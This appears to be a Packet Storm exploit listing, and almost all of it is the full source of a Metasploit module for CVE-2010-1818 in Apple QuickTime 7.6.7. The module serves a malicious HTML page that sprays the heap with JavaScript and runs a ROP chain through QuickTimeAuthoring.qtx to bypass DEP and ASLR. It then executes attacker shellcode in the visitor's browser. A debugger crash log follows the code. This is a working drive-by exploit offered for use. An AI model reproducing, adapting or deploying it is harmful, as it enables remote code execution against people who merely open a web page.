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Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution

🗓️ 30 Aug 2010 00:00:00Reported by Ruben SantamartaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 50 Views

Exploit for Apple QuickTime 7.6.7 Code Executio

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Code
`##  
# $Id: apple_quicktime_marshaled_punk.rb 10196 2010-08-30 21:52:45Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Seh  
  
include Msf::Exploit::Remote::BrowserAutopwn  
autopwn_info({  
:os_name => OperatingSystems::WINDOWS,  
:javascript => true,  
:rank => NormalRanking, # reliable memory corruption  
:vuln_test => nil,  
})  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Apple QuickTime 7.6.7 _Marshaled_pUnk Code Execution',  
'Description' => %q{  
This module exploits a memory trust issue in Apple QuickTime  
7.6.7. When processing a specially-crafted HTML page, the QuickTime ActiveX  
control will treat a supplied parameter as a trusted pointer. It will  
then use it as a COM-type pUnknown and lead to arbitrary code execution.  
  
This exploit utilizes a combination of heap spraying and the  
QuickTimeAuthoring.qtx module to bypass DEP and ASLR. This module does not  
opt-in to ASLR. As such, this module should be reliable on all Windows  
versions.  
  
NOTE: The addresses may need to be adjusted for older versions of QuickTime.  
},  
'Author' =>  
[  
'Ruben Santemarta', # original discovery  
'jduck' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 10196 $',  
'References' =>  
[  
[ 'CVE', '2010-1818' ],  
[ 'URL', 'http://reversemode.com/index.php?option=com_content&task=view&id=69&Itemid=1' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
'AutoRunScript' => 'migrate -f',  
},  
'Payload' =>  
{  
'Space' => 384, # perhaps more?  
'BadChars' => "", # none...  
'DisableNops' => true,  
'PrependEncoder' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov esp,ebp").encode_string, # fix esp up  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Apple QuickTime Player 7.6.7',  
{  
'Ret' => 0x677a0000, # base of QuickTimeAuthoring.qtx  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Aug 30 2010',  
'DefaultTarget' => 0))  
end  
  
def on_request_uri(client, request)  
  
return if ((p = regenerate_payload(client)) == nil)  
  
print_status("Sending #{self.name} exploit HTML to #{client.peerhost}:#{client.peerport}...")  
  
shellcode = Rex::Text.to_unescape(p.encoded)  
  
# We will spray to this address, hopefully  
spray_target = 0x15220c20  
  
# This is where our happy little dll is loaded  
# 677a0000 679ce000 QuickTimeAuthoring C:\Program Files\QuickTime\QTSystem\QuickTimeAuthoring.qtx  
rop_mod_base = target.ret  
  
sploit = [  
spray_target - 8,  
  
# This first piece of code points the stack pointer to our data!  
# NOTE: eax, ecx, and esi all point to our spray at this point.  
rop_mod_base + 0x79c12, # xchg eax,esp / pop edi / pop esi / ret  
  
# The second one becomes the new program counter after stack flip.  
rop_mod_base + 0x1e27, # pop ecx / ret  
rop_mod_base + 0x170088, # the IAT addr for HeapCreate (becomes ecx)  
  
# We get the address of HeapCreate from the IAT here.  
rop_mod_base + 0x10244, # mov eax,[ecx] / ret  
  
# Call HeapCreate to create the k-rad segment  
rop_mod_base + 0x509e, # call eax  
0x01040110, # flOptions (gets & with 0x40005)  
0x01010101, # dwInitialSize  
0x01010101, # dwMaximumSize  
  
# Don't bother calling HeapAlloc, just add 0x8000 to the Heap Base  
  
# Set ebx to our adjustment  
rop_mod_base + 0x307a, # pop ebx / ret  
0x8000, # becomes ebx  
  
# Adjust eax  
rop_mod_base + 0xbfb5b, # add eax,ebx / ret  
  
# Save our buffer pointer off to this address  
rop_mod_base + 0x1e27, # pop ecx / ret  
rop_mod_base + 0x2062d4, # something writable  
  
# Write eax to the address  
rop_mod_base + 0x8fd6, # mov [ecx], eax / ret  
  
# Now we must copy our real payload into the buffer  
  
# First, setup edi  
rop_mod_base + 0x134fd5, # xchg eax,edi / ret  
  
# Get ESI from EDI (which is now in EAX)  
rop_mod_base + 0x103ff8, # push eax / pop esi / pop ebx / ret  
0x41414141, # scratch (becomes ebx)  
  
# Set ECX from the stack  
rop_mod_base + 0x1e27, # pop ecx / ret  
0x200 / 4, # dwords to copy :)  
  
# copy it!  
rop_mod_base + 0x778d2, # rep movsd / pop edi / pop esi / ret  
0x41414141, # scratch (becomes edi)  
0x41414141, # scratch (becomes esi)  
  
# Re-load the buffer pointer address  
rop_mod_base + 0x1e27, # pop ecx / ret  
rop_mod_base + 0x2062d4, # something writable  
  
# And the pointer value itself  
rop_mod_base + 0x10244, # mov eax,[ecx] / ret  
  
# Set ebx to our adjustment  
rop_mod_base + 0x307a, # pop ebx / ret  
0x42424242, # will be filled after array init  
  
# Adjust eax  
rop_mod_base + 0xbfb5b, # add eax,ebx / ret  
  
# Jump!  
rop_mod_base + 0x509e, # call eax  
  
# eh? Hopefull we didn't reach here.  
0xdeadbeef  
]  
sploit[27] = 8 + (sploit.length * 4)  
sploit = sploit.pack('V*')  
sploit << p.encoded  
sploit = Rex::Text.to_unescape(sploit)  
  
custom_js = <<-EOF  
function Prepare()  
{  
var block = unescape("#{sploit}");  
  
while(block.length < 0x200)  
block += unescape("%u0000");  
  
heap = new heapLib.ie(0x20000);  
while(block.length < 0x80000)  
block += block;  
  
finalspray = block.substring(2, 0x80000 - 0x21);  
  
for(var i = 0; i < 350; i++)  
{  
heap.alloc(finalspray);  
}  
}  
  
function start()  
{  
var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'  
+ '</'+ 'object>';  
document.getElementById('stb').innerHTML = obj;  
  
Prepare();  
  
var targ = #{spray_target};  
var obj = '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"' + '>'  
+ '<' + 'PARAM name="_Marshaled_pUnk" value="' + targ + '"' + '/>'  
+ '</'+ 'object>';  
document.getElementById('xpl').innerHTML = obj;  
}  
EOF  
  
hl_js = heaplib(custom_js)  
  
content = <<-EOF  
<html>  
<head>  
<script language="javascript">  
#{hl_js}  
</script>  
</head>  
<body onload="start()">  
<div id="stb"></div>  
<div id="xpl"></div>  
</body>  
</html>  
EOF  
  
# ..  
send_response(client, content, { 'Content-Type' => "text/html" })  
  
# Handle the payload  
handler(client)  
end  
  
end  
  
  
=begin  
(7fc.a4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=15220c20 ebx=00134ca8 ecx=15220c18 edx=00134b98 esi=15220c20 edi=00134bfc  
eip=deadbe01 esp=00134b7c ebp=00134b90 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
deadbe01 ?? ???  
=end  
`

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